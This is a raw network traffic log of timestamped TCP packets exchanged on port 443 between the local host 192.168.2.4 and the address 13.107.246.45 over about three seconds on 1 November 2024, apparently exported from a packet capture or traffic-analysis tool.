Nov 1, 2024 03:46:11.115309954 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.115331888 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.115844011 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.115849972 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.124514103 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.124963045 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.124973059 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.125432014 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.125473976 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.125478029 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.125904083 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.125910044 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.126334906 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.126338959 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.136732101 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.137084961 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.137099028 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.137495995 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.137501955 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.243675947 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.243822098 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.243885040 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.244066954 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.244081974 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.244096041 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.244100094 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.247720957 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.247776985 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.247855902 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.248054981 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.248089075 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.252491951 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.252603054 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.252655983 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.252743006 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.252756119 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.252768040 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.252773046 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.254817009 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.255235910 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.255295038 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.255299091 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.255319118 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.255323887 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.255337954 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.255340099 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.255343914 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.255404949 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.255831003 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.255848885 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.257110119 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.257563114 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.257577896 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.257667065 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.257694006 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.257761955 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.257864952 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.257903099 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.258171082 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.258177996 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.272773981 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.272819042 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.273005962 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.273051023 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.273051023 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.273061991 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.273070097 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.275367022 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.275381088 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.275443077 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.275605917 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.275616884 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.386852980 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.388017893 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.388189077 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.388189077 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.388189077 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.391042948 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.391058922 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.391130924 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.391273022 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.391283989 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.693588018 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.693602085 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.977632046 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.978235006 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.978262901 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.978737116 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.978750944 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.983871937 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.984251022 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.984272957 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.984669924 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.984675884 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.985217094 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.985538006 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.985553026 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.985912085 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:11.985923052 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.002413988 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.002793074 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.002799034 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.003190041 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.003194094 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.107255936 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.107628107 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.107702017 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.107758999 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.107758999 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.107784986 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.107810974 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.110553026 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.110575914 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.110675097 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.110800982 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.110812902 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.112445116 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.112502098 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.112600088 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.112646103 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.112656116 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.113954067 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.114595890 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.114753962 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.114789009 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.114789009 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.114804029 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.114825010 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.115271091 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.115289927 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.115360975 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.115693092 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.115705967 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.116920948 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.116930008 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.117000103 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.117115021 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.117122889 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.118294001 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.118606091 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.118616104 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.119040012 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.119045019 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.132014036 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.132035017 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.132090092 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.132097006 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.132158041 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.132205009 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.132249117 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.132252932 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.132265091 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.132268906 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.134176016 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.134191036 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.134291887 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.134409904 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.134418964 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.419410944 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.419477940 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.419691086 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.419749975 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.419759989 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.419769049 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.419774055 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.422945023 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.422985077 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.423141003 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.423300028 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.423346996 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.848763943 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.855626106 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.856766939 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.857671022 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.857685089 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.860084057 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.860090971 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.860724926 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.860740900 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.861119032 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.861124992 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.861320972 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.861342907 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.873884916 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.927980900 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.949692965 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.949701071 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.950169086 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.950184107 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.950623989 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.950629950 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.987631083 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.988121986 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.988194942 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.988219976 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.988231897 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.988241911 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.988245010 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.988256931 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.988262892 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.988301992 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.988306999 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.988362074 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.999854088 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.999865055 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:12.999875069 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:12.999880075 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.020251989 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.020277023 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.020368099 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.031853914 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.031898022 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.032032013 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.035806894 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.035823107 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.067588091 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.067617893 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.073590040 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.073609114 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.073657990 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.073666096 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.073676109 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.073717117 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.075362921 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.075373888 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.075382948 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.075386047 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.076273918 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.076325893 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.076395035 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.076410055 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.076446056 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.076469898 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.076519012 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.079467058 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.079478979 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.079489946 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.079495907 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.113957882 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.113981962 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.114058018 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.157820940 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.157851934 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.158025980 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.162902117 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.162914991 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.163419008 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.163439035 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.166451931 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.171646118 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.171688080 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.173739910 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.173752069 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.299129963 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.299201012 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.299304962 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.413800955 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.413829088 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.413877964 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.413893938 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.427707911 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.427738905 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.427838087 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.428483963 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.428495884 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.815011024 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.815555096 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.815671921 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.815701962 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.815881014 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.815927029 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.816196918 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.816201925 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.816354036 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.816366911 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.886267900 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.886682034 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.886693954 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.887068033 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.887074947 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.893037081 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.893346071 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.893361092 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.893623114 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.893626928 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.948306084 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.948369980 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.948429108 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.948748112 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.948775053 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.948801041 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.948816061 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.952354908 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.952390909 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.952461958 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.952589035 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.952603102 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.955436945 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.955482960 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.955554962 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.955698013 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.955708027 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.955718040 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.955725908 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.958070040 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.958098888 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:13.958152056 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.958288908 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:13.958300114 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.012164116 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.012311935 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.012367964 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.012733936 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.012751102 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.016841888 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.016876936 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.016954899 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.017095089 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.017112017 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.021816015 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.021864891 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.021924019 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.022178888 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.022178888 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.022190094 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.022198915 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.024923086 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.024949074 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.025012970 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.025125027 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.025135994 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.161777020 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.162471056 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.162482023 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.162976980 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.162990093 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.294117928 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.294186115 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.294253111 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.294436932 CET	49850	443	192.168.2.4	13.107.246.45
